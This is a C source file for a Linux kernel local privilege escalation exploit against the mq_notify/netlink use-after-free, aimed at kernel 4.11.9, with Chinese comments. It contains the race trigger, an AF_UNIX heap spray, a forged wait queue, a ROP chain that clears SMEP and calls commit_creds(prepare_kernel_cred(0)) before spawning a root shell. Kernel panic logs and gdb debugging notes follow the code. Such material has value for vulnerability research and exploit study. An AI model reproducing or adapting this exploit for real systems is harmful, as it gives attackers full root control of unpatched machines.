// gcc exploit.c -lpthread -static -o exploit
// test_version: Linux-4.11.9
/* You should change: ROP address  &&  4 netlink_sock offset      
和4.1.1不同，4.11.9版本的内核 netlink_sock 大小为 0x410 ($ p sizeof(struct netlink_sock)), 需修改喷射堆块 MAX_MSGSIZE 的大小为 2048 (buf大小 + msg.msg_controllen + pbuf->cmsg_len)
和4.1.1不同，对于 netlink_sock->wait->lock, 4.1.1 版本不需要设置, 而4.11.9版本必须设置该值，不然就会陷入到 __wake_up()->spin_lock_irqsave()函数，无法执行到__wake_up_common() 并触发 wait_queue_t.func。

Attention: 多CPU环境下提权不稳定。
*/
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sys/un.h>
#include <sys/mman.h>

#define MAX_MSGSIZE 2048
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(fd, level, optname, optval, optlen) syscall(__NR_setsockopt, fd, level, optname, optval, optlen)
#define _dup(fd) syscall(__NR_dup, fd)
#define _close(fd) syscall(__NR_close, fd)
#define _bind(recv_fd, addr, len) syscall(__NR_bind, recv_fd, addr, len)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg ,flags)
#define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen)
#define _getpid() syscall(__NR_getpid)
#define _sched_setaffinity(pid, cpusetsize, mask) syscall(__NR_sched_setaffinity, pid, cpusetsize, mask)

struct state
{
    int ok;
    int fd;
    int close_fd;
}state;

struct u_wait_queue{
    unsigned int flag;
    long* pri;
    long* func;
    long* next;
    long* prev;
};
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;

void getroot(){
    commit_creds = 0xffffffff810a2820 ;
    prepare_kernel_cred = 0xffffffff810a2b60;
    size_t cred = prepare_kernel_cred(0);
    commit_creds(cred);
}
void getshell(){
    system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}

// 设置仅在 CPU 0 上运行
void migrate_to_cpu0() {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0,&set);
    if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1){
        perror("sched_setaffinity wrong");
        exit(-1);
    }
}

// 通过sendmsg 增加 sk_rmem_alloc，使其 > sk_rcvbuf
int add_rmem_alloc(void){
    int fd1 = -1;
    int fd2 = -1;
    fd1 = _socket(AF_NETLINK,SOCK_RAW,2);
    fd2 = _socket(AF_NETLINK,SOCK_DGRAM,2);
    struct sockaddr_nl nladdr;
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_groups = 0;
    nladdr.nl_pad = 0;
    nladdr.nl_pid = 10;
    _bind(fd1,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));         // 接收端

    struct msghdr msg;
    struct sockaddr_nl r_nladdr;
    r_nladdr.nl_pad = 0;
    r_nladdr.nl_pid = 10;
    r_nladdr.nl_family = AF_NETLINK;
    r_nladdr.nl_groups = 0;

    memset(&msg,0,sizeof(msg));
    msg.msg_name = &r_nladdr; /*address of receiver*/
    msg.msg_namelen = sizeof(nladdr);
    /* message head */
    char buffer[] = "An example message";
    struct nlmsghdr *nlhdr;
    nlhdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlhdr),buffer);
    nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));/*nlmsghdr len + data len*/
    nlhdr->nlmsg_pid = getpid();  /* self pid */
    nlhdr->nlmsg_flags = 0;

    struct iovec iov;
    iov.iov_base = nlhdr;
    iov.iov_len = nlhdr->nlmsg_len;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    while (_sendmsg(fd2, &msg, MSG_DONTWAIT)>0) ;                        // 发送 msg 以增大 sk_rmem_alloc
    if (errno != EAGAIN)
    {
        perror("sendmsg");
        exit(-5);
    }
    printf("[*] sk_rmem_alloc > sk_rcvbuf ==> ok\n");
    return fd1;

    return 0;    
}
// thread2 —— 子线程，等主线程执行3秒后 close(fd), 并调用 setsockopt() 唤醒主线程
static void *thread2(struct state *s){
    int fd = s->fd;
    s->ok = 1;
    sleep(3);
    _close(s->close_fd);
    int optval = 1;
    if(_setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,4)){
        perror("setsockopt ");
    }
    else{
        puts("[*] wake up thread 1");
    }
}
// triger ——  触发漏洞
void tiger(int fd){
    pthread_t pid;
    struct state s;
    s.ok = 0;
    s.fd = fd;
    s.close_fd = dup(fd);               // 调用 dup 复制 file 结构
    if(errno = pthread_create(&pid,NULL,thread2,&s)){ // thread2 —— 子线程，等主线程执行3秒后 close(fd), 并调用 setsockopt() 唤醒主线程
        perror("pthread_create ");
        exit(-1);
    }  
    while(!(s.ok));
    puts("[*] mq_notify start");
    struct sigevent sigv;
    sigv.sigev_signo = s.close_fd;
    sigv.sigev_notify = SIGEV_THREAD;
    sigv.sigev_value.sival_ptr = "test";
    _mq_notify((mqd_t)0x666,&sigv);     // 主线程调用 mq_notify() 触发漏洞。 这里必须调用 _mq_notify, 其他地方可以不用。
    puts("ok");
}
struct thread3_arg
{
    int send ;
    int fd;
    struct msghdr *msg;
    int flag;
};
static void *thread3(struct thread3_arg *arg){
    migrate_to_cpu0();
    _sendmsg(arg->fd,arg->msg,0);
}
// heap_spray —— 堆喷射并完成利用
void heap_spray(int nlk_fd){
    int sfd = -1;
    int rfd = -1;
    sfd = _socket(AF_UNIX,SOCK_DGRAM,0);                             // (1) 创建 AF_UNIX socket
    rfd = _socket(AF_UNIX,SOCK_DGRAM,0);
    if (rfd<0||sfd<0){
        perror("heap spray socket");
        exit(-1);
    }
    printf("send fd : %d\nrecv fd : %d\n",sfd,rfd);

    char *saddr = "@test";
    struct sockaddr_un serv;
    serv.sun_family = AF_UNIX;
    strcpy(serv.sun_path,saddr);
    serv.sun_path[0] = 0;    
    if(_bind(rfd,(struct sockaddr*)&serv,sizeof(serv))){             // (2) bind 绑定接收端
        perror("heap spray bind");
        exit(-1);
    }
    if(_connect(sfd,(struct sockaddr*)&serv,sizeof(serv))){          // (3) connect 连接发送端
        perror("heap spray bind");
        exit(-1);
    }

    struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    struct iovec iov;
    char iovbuf[10];
    iov.iov_base = iovbuf;
    iov.iov_len = 10;
    char buf[MAX_MSGSIZE];
    memset(buf,0x41,MAX_MSGSIZE);
    struct cmsghdr *pbuf;
    pbuf = (struct cmsghdr*)buf;
    pbuf->cmsg_len = MAX_MSGSIZE;
    pbuf->cmsg_level = 0;
    pbuf->cmsg_type = 1;
    *(unsigned int*)((char*)buf+0x2c8) = 0x12345678;/*netlink_sock->portid*/                                                                    // change 1 !!!!!!!!!!!!
    *(unsigned long*)((char*)buf+0x2c8+0x18) = 0;       /*netlink_sock->groups */                                                               // change 2 !!!!!!!!!!!!
    struct u_wait_queue uwq;   /*在用户空间伪造的u_wait_queue_t*/
    memset(&uwq,0x66,sizeof(uwq));
    uwq.flag = 0x01;
    //uwq.func = 0xdeadbeefdeadbeef;
    uwq.func = 0xffffffff8100008d;  // 0xffffffff8100008d: xchg eax, esp; ret; 
    uwq.next = &(uwq.next);
    uwq.prev = &(uwq.next);
    printf("buf : %p\nuwq : %p\n",buf,&(uwq.next));
    *(unsigned long*)((char*)buf+0x2c8+0x18+0x18) = 0;                   /* netlink_sock->wait->lock   4.1.1 版本不需要设置; 4.11.9版本必须设置，不然就会陷入到 __wake_up()->spin_lock_irqsave()函数 */
    *(unsigned long*)((char*)buf+0x2c8+0x18+0x20) = (void*)(&(uwq.next));/*覆盖netlink_sock->wait->tasklist.next,为用户空间fake uwq的next地址*/  // change 3 !!!!!!!!!!!!
    *(unsigned long*)((char*)buf+0x2c8+0x18+0x28) = (void*)(&(uwq.next));                                                                       // change 4 !!!!!!!!!!!!
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    //msg.msg_controllen = 0;
    /*下面是伪造栈,通过xchg，迁移过来。rax正好指向 uwq —— wait_queue_t 开头, 所以从该地址开始布置ROP*/
    size_t *p = ((unsigned int)&uwq)&0xffffffff;
    size_t *ptmp = p-0x20;
    mmap(ptmp, 0x2000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    /*
    0xffffffff81075384: pop rax; ret;
    0xffffffff811135dd: pop rdi; ret;
    0xffffffff8105e144: pop rbx; ret;
    0xffffffff810a72d0 T commit_creds
    0xffffffff810a76c0 T prepare_kernel_cred
    */
    int r = 0;
    p[r++] = 0xffffffff811135dd ;// 0xffffffff811135dd: pop rdi; ret; 
    p[r++] = 0x6f0;
    p[r++] = 0xffffffff8101c260 ;// 0xffffffff8101c260: mov cr4, rdi; pop rbp; ret;
    p[r++] = (unsigned long)p+0x100;
    p[r++] = 0xffffffff81075384; // 0xffffffff81075384: pop rax; ret;
    p[r++] = 0;
    p[r++] = 0xffffffff811135dd; // 0xffffffff811135dd: pop rdi; ret;  
    p[r++] = 0;
    p[r++] = 0xffffffff810a76c0; // prepare_kernel_cred
    p[r++] = 0xffffffff8118b687 ;// 0xffffffff8118b687: mov rdi, rax; pop rbx; mov rax, rdi; pop r12; pop rbp; ret; 
    p[r++] = 0;
    p[r++] = 0;
    p[r++] = (unsigned long)p+0x100;
    p[r++] = 0xffffffff810a72d0; // commit_creds
    p[r++] = 0xffffffff810656b4 ;// 0xffffffff810656b4: swapgs; pop rbp; ret;
    p[r++] = p+0x100;
    p[r++] = 0xffffffff810359db ; // 0xffffffff810359db: iretq; pop rbp; ret;
    p[r++] = (unsigned long)getshell;
    p[r++] = user_cs;
    p[r++] = user_eflags;
    p[r++] = (unsigned long)p;
    p[r++] = user_ss;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;

    struct timeval tv;
    memset(&tv,0,sizeof(tv));
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    if(_setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){      // (4) 设置阻塞时间
        perror("heap spary setsockopt");
        exit(-1);
    }
    puts("set timeo ==> ok");
    while(_sendmsg(sfd,&msg,MSG_DONTWAIT)>0);                        // (5) 通过增大sk_wmem_alloc 使发送进程阻塞, 本次不需要阻塞，所以 flag 设置为 MSG_DONTWAIT 。  msg->msg_controllen == 0, 所以不会调用 sock_kmalloc() 分配堆空间
    if (errno != EAGAIN)
    { 
        perror("[-] sendmsg");
        exit(-1);
    }
    puts("sk_wmem_alloc > sk_snfbuf");
    puts("[*] ==> sendmsg");
    msg.msg_control = buf;
    msg.msg_controllen = MAX_MSGSIZE;
    struct thread3_arg t3;
    t3.fd = sfd;
    t3.send = 0;
    t3.flag = 0;
    t3.msg = &msg;
    int i = 0;
    pthread_t pid;
    //sendmsg(sfd,&msg,0);
    for(i=0;i<10;i++){
        if(errno = pthread_create(&pid,NULL,thread3,&t3)){          // (6) 喷射10次
            perror("pthread_create ");
            exit(-1);
        }      
    } 
}


int main(){
    int fd = -1;
    migrate_to_cpu0();      // 1.设置仅在 CPU 0 上运行
    save_stats();//save cs ss rflags;
    fd = add_rmem_alloc();  // 2.通过sendmsg 增加 sk_rmem_alloc，使其 > sk_rcvbuf
    tiger(fd);              // 3.triger —— 触发漏洞两次
    tiger(fd);
    heap_spray(fd);         // 4.堆喷射并完成利用
    sleep(2);
    struct sockaddr_nl j_addr;
    int j_addr_len = sizeof(j_addr);
    memset(&j_addr, 0, sizeof(j_addr));
    printf("succeed\n");
    if(getsockname(fd,(struct sockaddr*)&j_addr,&j_addr_len)){          // 5.检查是否喷射成功
        perror("getsockname ");
    }
    printf("portid : %x\n",j_addr.nl_pid);
    puts("ok");
    int optval = 1;
    printf("user_cs : %x\nuser_rflags : %x\nuser_ss : %x\n",user_cs,user_eflags,user_ss);
    setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,5);            // 6.触发执行伪造函数 `wait_queue_t.func`
    close(fd);
    return 0;
}


/*
0xffffffff81000085: xchg eax, esp; ret; 
b *0xffffffff81000085

查看关键结构的关键成员的偏移：
(1)netlink_sock->portid            $ p/x &(*(struct netlink_sock *)0)->portid
    gdb-peda$ print sizeof(struct sock)
    $4 = 0x2c8
(2)netlink_sock->groups         0x2c8 + 0x18
(3)netlink_sock->wait->task_list.next
(4)netlink_sock->wait->task_list.prev


john@john-virtual-machine:~/Desktop/cve/cve-2017-11117$ ./start2.sh 
chmod: /dev/csaw: No such file or directory
ifconfig: SIOCSIFADDR: No such device
route: SIOCADDRT: No such device
/ $ cd exp
/exp $ ./exp-kaka
[*] sk_rmem_alloc > sk_rcvbuf ==> ok
[*] mq_notify start
[*] wake up thread 1
ok
[*] mq_notify start
[*] wake up thre[   15.623803] Freeing alive netlink socket ffff88001f83c000
ad 1
ok
send fd : 5
recv fd : 6
buf : 0x7ffcc6710560
uwq : 0x7ffcc6710488
set timeo ==> ok
sk_wmem_alloc > sk_snfbuf
[*] ==> sendmsg
[   17.626696] general protection fault: 0000 [#1] SMP 
[   17.627997] Modules linked in:
[   17.628792] CPU: 1 PID: 100 Comm: exp-kaka Not tainted 4.1.1 #4
6 s ucc e1e7d.
30256] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   17.630593] task: ffff88001f85cb00 ti: ffff88001c3dc000 task.ti: ffff88001c3dc000
[   17.630593] RIP: 0010:[<ffffffff81743625>]  [<ffffffff81743625>] netlink_getname+0x65/0x80
[   17.630593] RSP: 0018:ffff88001c3dfe68  EFLAGS: 00010206
[   17.630593] RAX: 4141414141414141 RBX: ffff88001d2bed00 RCX: 0000000000000000
[   17.630593] RDX: 0000000000000000 RSI: ffff88001c3dfe90 RDI: 0000000000000010
[   17.630593] RBP: ffff88001c3dfe68 R08: 0000000000000000 R09: 00007faecd3a3700
[   17.630593] R10: 00007faecd3a39d0 R11: 0000000000000246 R12: 00007ffcc67109a0
[   17.630593] R13: 00007ffcc6710994 R14: 0000000000000000 R15: 0000000000000000
[   17.630593] FS:  0000000001ce6880(0063) GS:ffff88001ef00000(0000) knlGS:0000000000000000
[   17.630593] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   17.630593] CR2: 00007faecd3a2e78 CR3: 000000001f825000 CR4: 00000000001007e0
[   17.630593] Stack:
[   17.630593]  ffff88001c3dff38 ffffffff816f6d5a ffff88001c3dff18 0000000c00025400
[   17.630593]  0000000100000000 0000000000000010 ffff88001d48eb00 ffff880000025410
[   17.630593]  ffff88001c3dfef8 ffffffff8120ea7c 616b616b2d707865 0000000000000000
[   17.630593] Call Trace:
[   17.630593]  [<ffffffff816f6d5a>] SYSC_getsockname+0xaa/0xe0
[   17.630593]  [<ffffffff8120ea7c>] ? vfs_write+0x14c/0x1c0
[   17.630593]  [<ffffffff8120f76d>] ? SyS_write+0x7d/0xd0
[   17.630593]  [<ffffffff816f867e>] SyS_getsockname+0xe/0x10
[   17.630593]  [<ffffffff81827772>] system_call_fastpath+0x16/0x75
[   17.630593] Code: 83 e9 01 b8 01 00 00 00 d3 e0 89 c1 31 c0 89 4e 08 5d c3 0f 1f 00 8b 90 c8 02 00 00 89 56 04 48 8b 80 e0 02 00 00 48 85 c0 74 0b <8b> 00 89 46 08 31 c0 5d c3 66 90 31 c0 eb f3 66 90 66 2e 0f 1f 
[   17.630593] RIP  [<ffffffff81743625>] netlink_getname+0x65/0x80
[   17.630593]  RSP <ffff88001c3dfe68>
[   17.670552] ---[ end trace ea52ba541233854b ]---
[   17.671620] Kernel panic - not syncing: Fatal exception
[   17.674538] Kernel Offset: disabled
[   17.674538] Rebooting in 1 seconds..chmod: /dev/csaw: No such file or directory
ifconfig: SIOCSIFADDR: No such device
route: SIOCADDRT: No such device
/ $ exit
sh end!\n
[35357.558945] reboot: Power down

---------------------------------------------------------------------------------------------------------------------------------
(1) 检查 netlink_sock 处是否喷射成功             不成功
/ $ cat /tmp/kallsyms | grep netlink_getname
ffffffff817435c0 t netlink_getname

b *0xffffffff817435c0

Breakpoint 2, netlink_getname (sock=0xffff88001d805080,             // sock 参数，sock结构就是 netlink_sock 结构的第1个成员
    addr=0xffff88001d507e90, addr_len=0xffff88001d507e84, peer=0x0)
    at net/netlink/af_netlink.c:1563
1563    {
gdb-peda$ x /20xg 0xffff88001d805080+0x2b0                          // netlink_sock+0x2b0 也即 portid 的值并未被覆盖为 0x12345678
0xffff88001d805330: 0x000003e80004c1ff  0x00000000000003e8
0xffff88001d805340: 0xffffffffffffffff  0xffffffffffffffff
0xffff88001d805350: 0xffffffff81ac6600  0xffff88001df1b800
0xffff88001d805360: 0xffff88001d805488  0x0000000000000000
---------------------------------------------------------------------------------------------------------------------------------
(2) 检查 netlink_attachskb 是否返回1             两次触发都返回1, 说明两次漏洞触发成功
/ $ cat /tmp/kallsyms | grep netlink_attachskb
ffffffff81746a90 T netlink_attachskb
mq_notify() 函数中调用 netlink_attachskb() 调用点在 .text:FFFFFFFF813398B7                 call    sub_FFFFFFFF81746A90    （通过IDA找）
                                                  .text:FFFFFFFF813398BC                 cmp     eax, 1

下断点： b *0xFFFFFFFF813398B7
        b *0xFFFFFFFF813398BC   查看rax的值，也即 netlink_attachskb 的返回值

        b *0xFFFFFFFF813398D4   查看rax的值，也即 fdget 的返回值

gdb-peda$ c
Continuing.
[Switching to Thread 2]
Warning: not running or target is remote

Breakpoint 2, SYSC_mq_notify (u_notification=<optimized out>, 
    mqdes=<optimized out>) at ipc/mqueue.c:1246
1246                ret = netlink_attachskb(sock, nc, &timeo, NULL);
gdb-peda$ ni
Warning: not running or target is remote
1247                if (ret == 1)
gdb-peda$ i r
rax            0x1  0x1
---------------------------------------------------------------------------------------------------------------------------------
(3) 检查走到 retry: call fdget 时，子线程是否已关闭file，这样返回来的fd.file 就为0 （rax确实为0）
    结果发现确实走到了 netlink_detachskb(), 说明确实走到了释放点
gdb-peda$ 
Warning: not running or target is remote
SYSC_mq_notify (u_notification=<optimized out>, mqdes=<optimized out>)
    at ipc/mqueue.c:1233
1233                if (!f.file) {
gdb-peda$ i r
rax            0x0  0x0

gdb-peda$ ni
Warning: not running or target is remote
0xffffffff813398db  1233                if (!f.file) {
gdb-peda$ 
Warning: not running or target is remote
1233                if (!f.file) {
gdb-peda$ 
Warning: not running or target is remote
0xffffffff81339a8f  1233                if (!f.file) {
gdb-peda$ 
Warning: not running or target is remote
1306        if (sock)
gdb-peda$ 
Warning: not running or target is remote
0xffffffff81339755  1306        if (sock)
gdb-peda$ 
Warning: not running or target is remote
1307            netlink_detachskb(sock, nc);
gdb-peda$ p sock
$1 = (struct sock *) 0xffff88001c22e000
---------------------------------------------------------------------------------------------------------------------------------
(4) 检查喷射是否成功
    先获取sock地址，再看看有没有哪个喷射块最后占据了该sock块
    检查喷射之后有没有进入阻塞状态： timeo = sock_wait_for_wmem(sk, timeo);

(5) 检查最后是否调用 wait_queue_t.func  （版本4-11-9）
从 SyS_setsockopt 一步步往下跟

/exp $ cat /tmp/kallsyms | grep setsockopt
ffffffff81769d10 T SyS_setsockopt
ffffffff81769d10 T sys_setsockopt

b *0xffffffff81769d10

0xffffffff810c758b  92  {                   // 主要卡在 __wake_up() 中的 spin_lock_irqsave(&q->lock, flags); 函数。 
95      spin_lock_irqsave(&q->lock, flags);


// 现在对比一下4.1.1 vs 4.11.9 的上下文
    4.1.1
    ffffffff810c4630 T __wake_up  不行，只能一步步跟到 __wake_up, 因为有很多内核进程调用了该函数。
    ffffffff81746020 t netlink_setsockopt
    .text:FFFFFFFF8174627F                 call    __wake_up
    b *0xFFFFFFFF8174627F


    4.11.9
    ffffffff810c7570 T __wake_up
    ffffffff817bfc80 t netlink_setsockopt
    .text:FFFFFFFF817BFEAC                 call    __wake_up
    b *0xFFFFFFFF817BFEAC

*/